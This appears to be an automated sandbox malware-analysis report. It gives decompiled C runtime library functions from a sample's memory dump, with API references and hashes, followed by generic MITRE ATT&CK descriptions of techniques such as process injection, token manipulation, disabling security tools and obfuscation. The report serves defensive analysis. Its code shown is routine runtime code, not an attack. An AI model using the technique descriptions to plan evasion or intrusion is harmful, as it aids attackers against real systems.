Function 004094BB Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E004094BB(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x418220);
				E00402914(__ebx, __edi, __esi);
				_t31 = E00404524(__ebx, __edx, __edi, _t35);
				_t15 =  *0x41adc0; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E004059E4(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x41acc0; // 0x2ba1a88
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x41a898;
								if(__eflags != 0) {
									_push(_t33);
									E00404A01(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x41acc0; // 0x2ba1a88
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x41acc0; // 0x2ba1a88
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00409556();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E004036C7(_t29, _t31, 0x20);
				}
				return E00402959(_t33);
			}

0x004094bb
0x004094bb
0x004094bb
0x004094bb
0x004094bd
0x004094c2
0x004094cc
0x004094ce
0x004094d6
0x004094f7
0x004094fd
0x00409501
0x00409504
0x00409507
0x0040950d
0x0040950f
0x00409511
0x00409514
0x0040951a
0x0040951c
0x0040951e
0x00409524
0x00409526
0x00409527
0x0040952c
0x00409524
0x0040951c
0x0040952d
0x00409532
0x00409535
0x0040953b
0x0040953f
0x0040953f
0x00409545
0x0040954c
0x004094de
0x004094de
0x004094de
0x004094e3
0x004094e7
0x004094ec
0x004094f4

APIs

__getptd.LIBCMT ref: 004094C7

Part of subcall function 00404524: __getptd_noexit.LIBCMT ref: 00404527
Part of subcall function 00404524: __amsg_exit.LIBCMT ref: 00404534

__amsg_exit.LIBCMT ref: 004094E7
__lock.LIBCMT ref: 004094F7
InterlockedDecrement.KERNEL32(?), ref: 00409514
InterlockedIncrement.KERNEL32(02BA1A88), ref: 0040953F

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: b78ec6976c47592fe942fc5a1131f55b9ddc1ea58cfec69e372ab96f873ae6b7
Instruction ID: a5d6b58a7fe7b7604ab65cfba7635d1fbe250dfc13d3ecf0f8a619550c5ae41e
Opcode Fuzzy Hash: b78ec6976c47592fe942fc5a1131f55b9ddc1ea58cfec69e372ab96f873ae6b7
Instruction Fuzzy Hash: 98016172A01622ABDB22EF56980579A7760BB05724F04803BE414777D2CB3CAD52DBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00404A01 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E00404A01(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x417ef0);
				_t8 = E00402914(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E00402959(_t8);
				}
				if( *0x41bb90 != 3) {
					_push(_t23);
					L7:
					_t8 = HeapFree( *0x41b57c, 0, ??);
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E00402673(_t31);
						 *_t10 = E00402631(GetLastError());
					}
					goto L9;
				}
				E004059E4(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E00409AB1(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E00409AE1();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E00404A57();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x00404a01
0x00404a03
0x00404a08
0x00404a0d
0x00404a12
0x00404a89
0x00404a8e
0x00404a8e
0x00404a1b
0x00404a60
0x00404a61
0x00404a69
0x00404a6f
0x00404a71
0x00404a73
0x00404a86
0x00404a88
0x00000000
0x00404a71
0x00404a1f
0x00404a25
0x00404a2a
0x00404a30
0x00404a35
0x00404a37
0x00404a38
0x00404a39
0x00404a3f
0x00404a40
0x00404a47
0x00404a50
0x00000000
0x00404a52
0x00404a52
0x00000000
0x00404a52

APIs

__lock.LIBCMT ref: 00404A1F

Part of subcall function 004059E4: __mtinitlocknum.LIBCMT ref: 004059FA
Part of subcall function 004059E4: __amsg_exit.LIBCMT ref: 00405A06
Part of subcall function 004059E4: EnterCriticalSection.KERNEL32(00401050,00401050,?,0040ABE9,00000004,00418280,0000000C,00404CC3,00000000,0040105F,00000000,00000000,00000000,?,004044D6,00000001), ref: 00405A0E

___sbh_find_block.LIBCMT ref: 00404A2A
___sbh_free_block.LIBCMT ref: 00404A39
HeapFree.KERNEL32(00000000,00000000,00417EF0), ref: 00404A69
GetLastError.KERNEL32(?,0040ABE9,00000004,00418280,0000000C,00404CC3,00000000,0040105F,00000000,00000000,00000000,?,004044D6,00000001,00000214), ref: 00404A7A

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 0c880726d20f42d179665af45b4139c1daabdcdd7500ea643d86069e51a29768
Instruction ID: 80974c0d9f0f7496871da0ae5184dd5d3174539f6822239fee2ffb5ab93d0644
Opcode Fuzzy Hash: 0c880726d20f42d179665af45b4139c1daabdcdd7500ea643d86069e51a29768
Instruction Fuzzy Hash: 6B0184B5A44211AADF20ABB29C0A76F3A64AF40324F10413FF504761C1CB7C89418E9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040B429 Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040B429(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E00406DC0( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E0040B55A( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x840ffff8
								__eflags = MultiByteToWideChar( *_t40, 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E00402673(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0x75ff5003
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0x75ff5003
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t26 = _t56 + 0xac; // 0x75ff5003
								_t57 =  *_t26;
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x840ffff8
							_t58 = MultiByteToWideChar( *_t21, 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x0040b433
0x0040b43a
0x0040b451
0x00000000
0x0040b441
0x0040b443
0x0040b45d
0x0040b462
0x0040b465
0x0040b468
0x0040b491
0x0040b498
0x0040b49a
0x0040b51b
0x0040b52d
0x0040b536
0x0040b538
0x0040b478
0x0040b478
0x0040b47b
0x0040b47d
0x0040b480
0x0040b480
0x0040b480
0x0040b480
0x00000000
0x0040b486
0x0040b4fa
0x0040b4fa
0x0040b4ff
0x0040b505
0x0040b508
0x0040b50a
0x0040b50d
0x0040b50d
0x0040b50d
0x0040b50d
0x00000000
0x0040b511
0x0040b49c
0x0040b49f
0x0040b49f
0x0040b4a5
0x0040b4a8
0x0040b4cf
0x0040b4d2
0x0040b4d2
0x0040b4d8
0x00000000
0x00000000
0x0040b4da
0x0040b4dd
0x00000000
0x00000000
0x0040b4df
0x0040b4df
0x0040b4df
0x0040b4e5
0x0040b4e8
0x0040b456
0x0040b456
0x0040b4f1
0x00000000
0x0040b4f1
0x0040b4aa
0x0040b4ad
0x00000000
0x00000000
0x0040b4b1
0x0040b4bf
0x0040b4c2
0x0040b4c8
0x0040b4ca
0x0040b4cd
0x00000000
0x00000000
0x00000000
0x0040b4cd
0x0040b46a
0x0040b46d
0x0040b46f
0x0040b475
0x0040b475
0x00000000
0x0040b445
0x0040b445
0x0040b44a
0x0040b44e
0x0040b44e
0x00000000
0x0040b44a
0x0040b443

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0040B45D
__isleadbyte_l.LIBCMT ref: 0040B491
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,75FF5003,00BFBBEF,00000000,?,?,?,00406AD4,00000109,00BFBBEF,00000003), ref: 0040B4C2
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,00000001,00BFBBEF,00000000,?,?,?,00406AD4,00000109,00BFBBEF,00000003), ref: 0040B530

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 1f28e54349cec5bb1c033626df0e302f3a113f77902872e920b984742352f7be
Instruction ID: ef6b6bcba348b14ee50b8656d973e2a87a06f9b211f1e409874f14d26840dd4a
Opcode Fuzzy Hash: 1f28e54349cec5bb1c033626df0e302f3a113f77902872e920b984742352f7be
Instruction Fuzzy Hash: 0531C231A00256EFDB10EF64C844AAE3BB5EF01314F1585BAE455AB2D2D734DE40DB9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA24 Relevance: 6.0, APIs: 4, Instructions: 46
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0040AA24(void* __ebx, void* __edx, void* __edi, long _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t3;
				void* _t4;
				long _t5;
				void* _t9;
				long _t16;
				long _t18;

				_t14 = __edi;
				_t9 = __ebx;
				if( *0x41b57c == 0) {
					E00403C3C(__edi);
					E00403A6B(__edx, 0x1e);
					E0040371B(0xff);
				}
				_t3 =  *0x41bb90; // 0x1
				if(_t3 != 1) {
					_t16 = _a4;
					__eflags = _t3 - 3;
					if(__eflags != 0) {
						L8:
						__eflags = _t16;
						if(_t16 == 0) {
							_t16 = _t16 + 1;
							__eflags = _t16;
						}
						_t18 = _t16 + 0x0000000f & 0xfffffff0;
						__eflags = _t18;
						_t4 = HeapAlloc( *0x41b57c, 0, _t18);
					} else {
						_push(_t16);
						_t4 = E0040A9D5(_t9, _t14, _t16, __eflags);
						__eflags = _t4;
						if(_t4 == 0) {
							goto L8;
						}
					}
					return _t4;
				} else {
					_t5 = _a4;
					if(_t5 == 0) {
						_t5 = _t5 + 1;
					}
					return HeapAlloc( *0x41b57c, 0, _t5);
				}
			}

0x0040aa24
0x0040aa24
0x0040aa30
0x0040aa32
0x0040aa39
0x0040aa43
0x0040aa49
0x0040aa4a
0x0040aa52
0x0040aa6e
0x0040aa71
0x0040aa74
0x0040aa81
0x0040aa81
0x0040aa83
0x0040aa85
0x0040aa85
0x0040aa85
0x0040aa89
0x0040aa89
0x0040aa95
0x0040aa76
0x0040aa76
0x0040aa77
0x0040aa7d
0x0040aa7f
0x00000000
0x00000000
0x0040aa7f
0x0040aa9d
0x0040aa54
0x0040aa54
0x0040aa59
0x0040aa5b
0x0040aa5b
0x0040aa6c
0x0040aa6c

APIs

__FF_MSGBANNER.LIBCMT ref: 0040AA32

Part of subcall function 00403C3C: __set_error_mode.LIBCMT ref: 00403C3E
Part of subcall function 00403C3C: __set_error_mode.LIBCMT ref: 00403C4B
Part of subcall function 00403C3C: __NMSG_WRITE.LIBCMT ref: 00403C63
Part of subcall function 00403C3C: __NMSG_WRITE.LIBCMT ref: 00403C6D

__NMSG_WRITE.LIBCMT ref: 0040AA39

Part of subcall function 00403A6B: __set_error_mode.LIBCMT ref: 00403A9C
Part of subcall function 00403A6B: __set_error_mode.LIBCMT ref: 00403AAD
Part of subcall function 00403A6B: _strcpy_s.LIBCMT ref: 00403AE1
Part of subcall function 00403A6B: __invoke_watson.LIBCMT ref: 00403AF2
Part of subcall function 00403A6B: GetModuleFileNameA.KERNEL32(00000000,0041B061,00000104,0040105F,00000000,0041A010), ref: 00403B0E
Part of subcall function 00403A6B: _strcpy_s.LIBCMT ref: 00403B23
Part of subcall function 00403A6B: __invoke_watson.LIBCMT ref: 00403B36
Part of subcall function 00403A6B: _strlen.LIBCMT ref: 00403B3F
Part of subcall function 00403A6B: _strlen.LIBCMT ref: 00403B4C
Part of subcall function 00403A6B: __invoke_watson.LIBCMT ref: 00403B79

Part of subcall function 0040371B: ___crtCorExitProcess.LIBCMT ref: 00403723
Part of subcall function 0040371B: ExitProcess.KERNEL32 ref: 0040372C

HeapAlloc.KERNEL32(00000000,?), ref: 0040AA65
HeapAlloc.KERNEL32(00000000,?), ref: 0040AA95

Part of subcall function 0040A9D5: __lock.LIBCMT ref: 0040A9F2
Part of subcall function 0040A9D5: ___sbh_alloc_block.LIBCMT ref: 0040A9FD

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: __set_error_mode$__invoke_watson$AllocExitHeapProcess_strcpy_s_strlen$FileModuleName___crt___sbh_alloc_block__lock
String ID:
API String ID: 913549098-0
Opcode ID: 7215227adf185107ebd74e4b1a6088e0ad8c9fe13987090d707e925620fd9a3e
Instruction ID: 8e1f85532eec3fa035b4c53e20d0f1961da47a52c0ca438f0336346d9548bf72
Opcode Fuzzy Hash: 7215227adf185107ebd74e4b1a6088e0ad8c9fe13987090d707e925620fd9a3e
Instruction Fuzzy Hash: FDF02872B40314AADA206B25AD01BEA3B49DB44375F118037FC18F65D1C7349D50CEDE

Uniqueness

Uniqueness Score: -1.00%

Function 004048A9 Relevance: 6.0, APIs: 4, Instructions: 34
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004048A9(void* __eax, void* __esi) {
				int _t5;
				void* _t9;
				void* _t15;
				void* _t16;
				void** _t17;
				void* _t19;
				void* _t21;
				void* _t23;

				_t15 = __esi +  *((intOrPtr*)(_t19 + 0x57));
				_t9 = 0;
				_t21 =  *0x41bb68 - _t9; // 0x0
				if(_t21 > 0) {
					_push(_t15);
					_t16 =  *0x41bb6c; // 0x0
					_t17 = _t16 + 0x10;
					do {
						VirtualFree( *(_t17 - 4), 0, 0x8000);
						HeapFree( *0x41b57c, 0,  *_t17);
						_t17 =  &(_t17[5]);
						_t9 = _t9 + 1;
						_t23 = _t9 -  *0x41bb68; // 0x0
					} while (_t23 < 0);
				}
				HeapFree( *0x41b57c, 0,  *0x41bb6c);
				_t5 = HeapDestroy( *0x41b57c);
				 *0x41b57c =  *0x41b57c & 0x00000000;
				return _t5;
			}

0x004048ae
0x004048b2
0x004048b4
0x004048c1
0x004048c3
0x004048c4
0x004048ca
0x004048cd
0x004048d7
0x004048e7
0x004048e9
0x004048ec
0x004048ed
0x004048ed
0x004048f5
0x00404904
0x0040490e
0x00404914
0x0040491b

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?), ref: 004048D7
HeapFree.KERNEL32(00000000,-00000010), ref: 004048E7
HeapFree.KERNEL32(00000000), ref: 00404904
HeapDestroy.KERNEL32 ref: 0040490E

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: FreeHeap$DestroyVirtual
String ID:
API String ID: 765507482-0
Opcode ID: 94e3d1cb6b84a9db88f5b51c191fffd69e57cb009242dd861a0484bcb42d4e5b
Instruction ID: 750c6f7a9602a1c6cd654f4f33d2194c9b2427450128921e7ef7b965ac32307a
Opcode Fuzzy Hash: 94e3d1cb6b84a9db88f5b51c191fffd69e57cb009242dd861a0484bcb42d4e5b
Instruction Fuzzy Hash: 7EF0F976A00210EBD7119F64EC85B857B26EB48759F62C036EA01668B1C3726854DF9C

Uniqueness

Uniqueness Score: -1.00%

Function 004082CD Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E004082CD(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x418178);
				E00402914(__ebx, __edi, __esi);
				_t28 = E00404524(__ebx, __edx, __edi, _t30);
				_t13 =  *0x41adc0; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E004059E4(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x41a888; // 0x41a7b0
					 *((intOrPtr*)(_t29 - 0x1c)) = E0040828F(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E00408337();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00404524(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E004036C7(_t25, _t26, 0x20);
				}
				return E00402959(_t28);
			}

0x004082cd
0x004082cd
0x004082cd
0x004082cd
0x004082cd
0x004082cf
0x004082d4
0x004082de
0x004082e0
0x004082e8
0x0040830c
0x0040830e
0x00408314
0x00408318
0x0040831b
0x00408326
0x00408329
0x00408330
0x004082ea
0x004082ea
0x004082ee
0x00000000
0x004082f0
0x004082f5
0x004082f5
0x004082ee
0x004082fa
0x004082fe
0x00408303
0x0040830b

APIs

__getptd.LIBCMT ref: 004082D9

Part of subcall function 00404524: __getptd_noexit.LIBCMT ref: 00404527
Part of subcall function 00404524: __amsg_exit.LIBCMT ref: 00404534

__getptd.LIBCMT ref: 004082F0
__amsg_exit.LIBCMT ref: 004082FE
__lock.LIBCMT ref: 0040830E

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 4316c1591417d6edb605f743dbb7f6ce20a63ad7a6a5d80938c7717a02a95795
Instruction ID: 95cd29299d6ef6e62668e3cb7a67235923cb1b4780c6c5770c49a711ce38b902
Opcode Fuzzy Hash: 4316c1591417d6edb605f743dbb7f6ce20a63ad7a6a5d80938c7717a02a95795
Instruction Fuzzy Hash: 27F09671941700DBDB20FB6596067597390AB41B29F10417FE980772D2CF7C9901CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00412B5B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00412B5B(void* __ecx, void* __edi, signed short _a4, signed short _a8) {
				char _v8;
				intOrPtr _t22;
				void* _t25;

				if(_a4 != 0xffff) {
					if(_a4 >= 0x100) {
						if( *0x41b720 == 0) {
							_push( *0x41a7c4);
							_push( *0x41a7b4);
							E00413EFB(0x41a890, 1,  &_a4, 1,  &_v8);
							_t25 = _t25 + 0x1c;
						}
						return E00412AD1(_a4, _a8, 0);
					} else {
						_t22 =  *0x41adcc; // 0x416e6a
						return  *(_t22 + (_a4 & 0x0000ffff) * 2) & 0x0000ffff & _a8 & 0x0000ffff;
					}
				} else {
					return 0;
				}
			}

0x00412b6a
0x00412b79
0x00412b98
0x00412b9a
0x00412ba3
0x00412bb7
0x00412bbc
0x00412bbc
0x00412bd0
0x00412b7b
0x00412b7f
0x00412b90
0x00412b90
0x00412b6c
0x00412b6f
0x00412b6f

Strings

jnA, xrefs: 00412B7F

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID:
String ID: jnA
API String ID: 0-1084530891
Opcode ID: 06c685992ed81abcdd28e7a9ba09939712f17309341ec8514fed347b4ec3ac22
Instruction ID: 11554d1898023042fa36dd5a355d85e9618b4c3a92d74d7d2eda7fd56a64b685
Opcode Fuzzy Hash: 06c685992ed81abcdd28e7a9ba09939712f17309341ec8514fed347b4ec3ac22
Instruction Fuzzy Hash: 12F08C71600208BADF219F50DD02BF937B5EB44748F008066FD19C91D1E6F9DAE0D399

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
